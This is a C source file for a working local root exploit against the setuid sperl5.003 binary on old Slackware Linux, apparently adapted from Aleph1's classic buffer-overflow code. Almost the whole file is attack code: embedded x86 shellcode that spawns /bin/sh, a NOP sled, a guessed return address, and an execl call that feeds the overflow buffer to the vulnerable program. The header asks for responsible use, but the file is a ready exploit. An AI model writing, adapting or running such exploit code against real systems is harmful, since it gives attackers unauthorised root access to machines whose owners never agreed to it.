/*    Linux sperl5.003 buffer overflow by ggajic@freenet.nether.net
             based on Aleph1's buffer overflow code
                 use it in responsible manner
           tested on slackware 3.1 and slackware 3.2   [2000]*/

#include <stdlib.h>
#define DEFAULT_OFFSET                  640
#define DEFAULT_BUFFER_SIZE            1600
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{
  __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[])
{
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (!(buff = malloc(bsize)))
    {
      printf("Can't allocate memory.\n");
      exit(0);
    }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  execl("/usr/bin/sperl5.003","/usr/sbin/sperl5.003",buff, NULL);
}